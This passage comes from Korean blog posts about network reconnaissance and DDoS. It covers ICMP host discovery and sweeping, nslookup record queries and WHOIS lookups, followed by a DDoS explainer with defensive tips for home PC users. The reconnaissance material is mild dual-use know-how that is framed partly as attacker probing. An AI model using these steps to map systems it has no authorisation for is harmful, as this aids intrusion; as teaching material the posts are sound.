째로, Timestamp Request패킷을 이용하는 것으로, Timestamp Request패킷은 원격지 시스템의 현재 시각을 알아보기 위한 패킷입니다. Timestamp Request패킷은 송신자가 패킷을 보낸 시각과 수신자가 패킷을 받은 시각, 송신자가 수신자에게 전송하는동안 걸린 시간으로 공격대상의 현재 시스템 시각을 알 수 있게 해줍니다.

상대시스템의 Reply패킷이 돌아온다는 것은 상대시스템이 활성화 되어있음도 알려주는 것입니다.


두번째로, Information Request패킷을 이용하는 것으로 원래 Information Request와 Reply는 메인 프레임의 단말기처럼 부팅할 때 자신의 디스크가 없는 시스템이 스스로 IP를 설정할 수 있도록 하는 패킷으로, 자신의 네트워크를 찾기위해 개발되었습니다. 기본목적은 RARP, Bootp, DHCP같은 프로토콜과 같으나 다른 프로토콜을 이용한 방법에 비해 원시적이라고 할 수 있다. 이 방법에서도 위 Timestamp Request 패킷처럼 죽은 시스템은 Reply패킷을 보내지 않을 것입니다.


마지막으로, ICMP Address Mask Request 와 Reply패킷을 이용하는 것입니다. 이 패킷 역시 두번째 방법처럼 단말기가 부팅될 때 자신이 속한 네트워크의 서브넷 마스크를 알기 위해 보냅니다. 앞의 두 방법과 마찬가지로 Reply패킷이 돌아오는지 확인함으로써 상대 시스템의 활성화여부를 파악할 수 있습니다.


ICMP를 이용한 여러가지 ping은 시스템 하나를 조사하기에는 적절하지만 큰 네트워크에서 활성화 시스템을 찾는데는 효과적이지 않습니다.

네트워크 전체에서 활성화 시스템을 찾는 일을 스위핑(sweeping)이라 합니다. 스위핑은 검색하고자 하는 네트워크에 브로드캐스트 ping을 보내거나 자동화도구를 이용하여 특정범위의 네트워크에 ping을 보냅니다.


WRITTEN BY
SiriusJ

,

DNS에 관한 정보를 얻어오는 툴로는 nslookup, dig 등이 있습니다. 이번엔 가장 일반적인 nslookup을 사용해 보겠습니다. nslookup은 윈도우와 리눅스에 기본으로 설치되어 있습니다.

(* 리눅스를 이용하지 않거나 쓸일이 많이 없는 프로그래머/개발자라도 최소한 기초적인 지식 정도는 갖추고 있는것이 좋다고 생각합니다.)


cmd창을 띄워서 nslookup명령을 실행하면 현재 기본 DNS서버로 설정된 DNS서버와 연결되는 것을 확인할 수 있습니다. bns1.hananet.net은 SK Broadband의 DNS서버입니다. ns(Name Server)는 DNS서버를 가리키는 일반 표현입니다.


여기서, 조사하려는 DNS서버를 바꾸고 싶으면 server xxx.xxx.xxx.xxx 형식으로 입력합니다. (kns.kornet.net은 KT의 DNS서버입니다.)


- 도메인 정보 수집

: 특정 도메인에 관한 정보를 알고 싶을 때에는 아래와 같이 해당 도메인 이름을 입력합니다.

> www.google.com


이제, 이 DNS서버에는 어떤 ns가 있는지 확인하는 방법에는 어떤 것이 있는지 살펴보겠습니다.

검색하고자 하는 서버의 종류를 설정할 때는 set type 명령을 이용합니다.

set type=ns 라고 입력한 뒤, 검색하고자 하는 도메인을 입력합니다. google.com에 대해 검색한 결과 ns 서버 4개가 같은 IP주소로 운영됨을 알 수 있습니다.

set type명령으로 출력되는 DNS정보를 DNS레코드라고 하고, set type명령으로 확인할 수 있는 DNS의 레코드는 아래 표와 같습니다.


DNS 레코드 종류

내용 

 A

Address 

호스트 이름 하나에 IP주소가 여러 개 있을 수 있으며, IP주소 하나에 호스트 이름이 여러 개 있을 수 있습니다. 이 때 이를 정의하는 레코드 유형입니다. 다음과 같이 정의 됩니다.

www A 200.200.200.20

ftp A 200.200.200.20

 PTR

Pointer 

A 레코드와 상반된 개념으로 A 레코드는 도메인에 대해 IP주소를 부여하지만, PTR레코드는 IP주소에 대해 도메인명을 맵핑하는 역할을 합니다. 

 NS

Name Server 

각 도메인에 적어도 한 개 이상 있어야 하며, DNS 서버를 가리킵니다. 

 MX

Mail Exchanger 

도메인 이름으로 보낸 메일을 받는 호스트 목록을 지정합니다. 

 CNAME

Canonical Name 

호스트의 다른 이름을 정의하는 데 사용합니다. 

 SOA

Start of Authority 

도메인에 대한 권한이 있는 서버를 표시합니다. 

 HINFO

Hardware Info 

해당 호스트의 하드웨어 사양을 표시합니다. 

 ANY(ALL)

 

DNS레코드를 모두 표시합니다. 



WRITTEN BY
SiriusJ

,

Whois는 도메인에 관한 정보확인을 위해 유용하게 쓰입니다. Whois서버에서 얻을 수 있는 정보는 대표적으로 아래와 같은 것들이 있습니다.

- 등록, 관리 기관

- 도메인 이름, 도메인 관련 인터넷 자원 정보

- 목표 사이트 네트워크 주소와 IP주소

- 등록자, 관리자, 기술 관리자의 이름 및 연락처, 이메일 계정

- 레코드 생성 시기와 갱신 시기

- 주 DNS 서버와 보조 DNS서버

- IP주소의 할당 지역 위치

 

도메인을 통해 IP를 알아보고, 프로그래머는 그 IP를 WHOIS서버에 검색해서 아래의 그림과 같은 정보들을 얻을 수 있습니다. 저는 대표적으로 네이버와 구글에 ping을 보내어 IP를 알아본 후 검색해 본 결과로 아래와 같습니다.

 

먼저 윈도우사용자라면 cmd창을 이용하여 cmd를 실행시키고, 

다음과 같이 ping을 보내면, 응답을 통해 IP를 알아볼 수 있습니다. 네이버도 동일한 방법으로 해줍시다.

 

그리고 Whois서버는 우리나라에서는 대표적으로 KISA에서 서비스를 제공하고 있고 그 밖의 arin이라는 곳도 있습니다.

 

1) https://www.arin.net/

위의 URL에 접속하면 아래와 같이 Whois서버로 IP를 검색할 수 있습니다. 여기서 위의 cmd에서 얻은 IP를 입력하여 검색합니다.

 

해당 IP에 대한 정보를 얻을 수 있습니다.

 

(* 또한, IP를 알아보지 않고 검색창에 google 만 입력하여 쿼리를 전송하게 되면 아래와 같이 구글 사이트에 대한 여러 네트워크와 서버를 확인할 수 있습니다.)

 

 

2) http://whois.nic.or.kr/kor/ 

이번에는 네이버에 대한 IP를 통해 정보를 얻어보았습니다.

 

지역별 Whois서버 목록은 아래 표와 같이 정리해보았습니다.

 담당 지역 Whois서버 
- whois.internic.net 
유럽  www.ripe.net 
 아시아 태평양 지역 www.apnic.net 
www.arin.net
 호주 whois.aunic.net 
 프랑스 whois.nic.fr
 일본 whois.nic.ad.jp 
 영국 whois.nic.uk 
 한국 whois.krnic.net 
 해커들을 위한 whois whois.greektoos.com 

 


WRITTEN BY
SiriusJ

,

[DoS(도스) 공격이란? 의미. ]

DoS(도스 (Denial of Service) : DoS는 인터넷 상의 특정 자원을 평소처럼 이용할 수 없는 상태를 말합니다. 이러한 서비스 단절은 여러 가지 이유가 있을 수 있는데 보통 네트워크 장애로 인한 제대로 된 서비스를 못하게 됩니다.

DoS공격은 보통 한 두대의 컴퓨터로 타겟 서버의 공략법으로 과다하게 트래픽을 유발하거나, 시스템 마비를 일으켜서 서비스 단절상태로 만들었지만 방어기법(IP Blocking : 과다하게 패킷이 들어오는 특정 IP를 막는 방어기법)으로 처리가 가능해지게 되었습니다.

 DoS는 효과적인 공격방법을 잃게 되고, 이 공격기법을 발전시켜서 나온 것이 Distributed DoS(DDoS) 방법입니다. 여러 곳에서 분산해서 동시다발적으로 집중 공격함으로써 IP Blocking 방어 기법을 무력화 시키는 방법입니다.


[ DDoS 공격이란? 의미. ]

DDoS(디도스(Distributed Denial of Service) 공격 (분산 서비스 공격) : 수 많은 개인 컴퓨터에 악성 코드 또는 해킹툴과 같은 것들을 유포하여 이들의 컴퓨터를 '좀비 PC'로 만들고, 좀비 PC화 된 컴퓨터들을 통해 지정된 특정 서버에 동시에 대량의 트래픽을 유발시켜 서버의 기능이 마비되도록 만드는 공격입니다.


이는 한 사람 혹은 특정 목적을 가진 그룹에 의해 여러 대의 컴퓨터들이 일제히 동작하도록 조종되어 특정 서버 혹은 사이트에 대량의 트래픽을 유발시켜 그 서버 혹은 사이트가 제 기능을 수행할 수 없게 만들기에 붙여진 이름입니다.


이 때, DDoS(디도스) 공격에 이용되어지는 개인 컴퓨터들이 일명 '좀비 PC'라고 불려지게 됩니다.


개인 사용자의 컴퓨터가 '좀비PC' 로 되는 것은 개인 사용자들이 파일을 다운로드 받거나, 유해사이트와 같은 곳에 접속했을 때나 혹은 이메일이나 메신저 등의 경로를 통해 사용자의 컴퓨터에 몰래 악성코드 또는 해킹툴이 심어지게 됨으로써 완성되게 됩니다.


이렇게 악성코드나 해킹툴이 심어진 컴퓨터를 해커가 원격으로 조종하거나 미리 입력된 명령에 의해 사용자의 의지와 상관없이 해당 컴퓨터에서 특정 서버나 사이트로 무차별적인 패킷을 보내게 되는 것입니다.


즉 이렇게 특정 서버나 사이트가 하나하나의 '좀비PC'들로부터 무차별적인 패킷을 받게 되면, 서버 컴퓨터의 시스템이 이를 처리할 수 없을 정도로 시스템에 과부하가 걸리게 됩니다. 이렇게 과부하에 걸리게 되면 컴퓨터가 먹통이 되거나, 사용할 수 없을 정도로 버벅거리게 됩니다.


* 여기서 패킷이란, 네트워크 통신에서는 수신자(Receiver)와 송신자(Sender)가 있습니다. 수신자와 송신자 간에 데이터를 주고 받을 때 전송하기 쉽도록 일정단위로 데이터를 잘라서 보내게 되는데, 이 때 이 잘려지는 데이터 단위를 패킷이라 부르게 됩니다.

즉, 일반 사용자가 어떤 사이트에 접속하기 위해 해당 서버에 페이지 요청을 할 때에도 그 요청 정보는 패킷 단위로 서버에 전달되고, 파일을 다운로드 하거나 업로드 할 때에도 또한 패킷 단위로 데이터전송이 이루어지게 됩니다.


DDoS(디도스) 공격은 일반적인 바이러스(Virus) 해킹(Hacking)과는 달리 공격하는 대상의 컴퓨터에 침투해서 자료를 삭제하거나 훔치거나 하는 것이 아니라, 공격대상에게 대량의 트래픽을 유발시킴으로써 시스템이 과부하에 빠지게 만들고, 정당한 다른 신호들을 받지 못하게 방해하는 작용만 하게 됩니다.

DDoS(디도스) 공격의 문제점은, 공격에 이용된 '좀비PC'들이 악성코드나 해킹툴의 흔적을 감추기 위해 스스로 하드디스크를 손상시켜 사용자의 컴퓨터가 동작 불능 상태가 되어버리게 만든다는 것입니다.

[ DDoS 공격 ] 


[대비책]

프로그래머/개발자 뿐만 아니라 자신의 PC가 좀비PC가 되는 것을 원치않는 PC 사용자라면 항상 자신의 PC를 잘 관리해야합니다. 대비책은 컴퓨터에 지식이 있는 프로그래머/개발자 뿐만 아니라 누구나 쉽게 할 수 있습니다. 단지 귀찮아서, 사소한 것쯤이야 하는 마음에 위험에 노출되는 것이죠.

1 - 자신의 운영체제는 항상 업데이트를 통해 최신 보안 패치를 받아 두도록 합니다.

( * 윈도우 운영체제일 경우 자동업데이트를 설정함으로써 최신 보안패치상태를 유지할 수 있지만, 혹시라도 아니라면 수동으로라도 업데이트를 하여 최신 보안패치를 적용하는것이 좋습니다.)


2 - 인터넷으로 웹 서핑 할 때, 간혹 프로그램을 설치 할 것인지 묻는 창이 뜨는 경우가 있을 것입니다.

이럴 경우, 신뢰할 수 있는 곳의 프로그램이라면 설치에 동의하고, 확실하지 않다면 무조건 설치를 거부하는 것이 좋습니다.

설치를 거부한다고 해서 '예' 또는 '아니오' 중에서 '아니오'를 눌러도 안되고, 둘 중 어느것도 선택하지 말고 창을 강제로 닫아야합니다.!


3 - 컴퓨터에 관한 지식에 자신이 없으면 이메일 확인시에 발신인이 분명치 않거나 모르는 사람이라면 메일을 보지 말고 그냥 삭제하도록 합니다. (중요한 메일 일 경우에는 발신인을 불명확하게 보내지 않았을 것이라 믿읍시다.)


4 - 메신저 프로그램을 사용한다면, 메시지를 통해 특정 URL이나 파일이 첨부되어 올 경우가 있을 것입니다. 이럴 경우에 함부로 클릭하지 말고, 메시지를 보낸 사람이 직접 보냈는지부터 확인해봅시다.

(확실하지 않으면 함부로 클릭하거나 실행하지 맙시다.)


5 - P2P 프로그램이나 서비스를 제공하는 사이트를 이용해 파일을 다운받을 때에는 반드시! 백신과 같은 프로그램을 이용해 검사한 후 사용하도록 합시다.


6 - 외부 침입자로부터 여러분의 시스템이나 파일이 무단으로 사용되지 못하도록 여러분이 사용하는 운영체제의 필요 없는 공유 설정은 모두 해제하고, 꼭 필요한 경우는 공유 권한은 '읽기' 로 해놓고, 사용한 후에는 공유 설정을 모두 해제하도록 합시다.


7 - 백신과 같은 보안 프로그램을 설치하여 항상 여러분의 시스템을 감시하도록 설정해두고, 검사 엔진은 항상 최신버전으로 업데이트를 유지시켜 둡시다..!!


자신의 PC가 좀비 PC가 되지않도록 스스로 잘 관리하는 습관을 들이는 것이 중요합니다.


WRITTEN BY
SiriusJ

,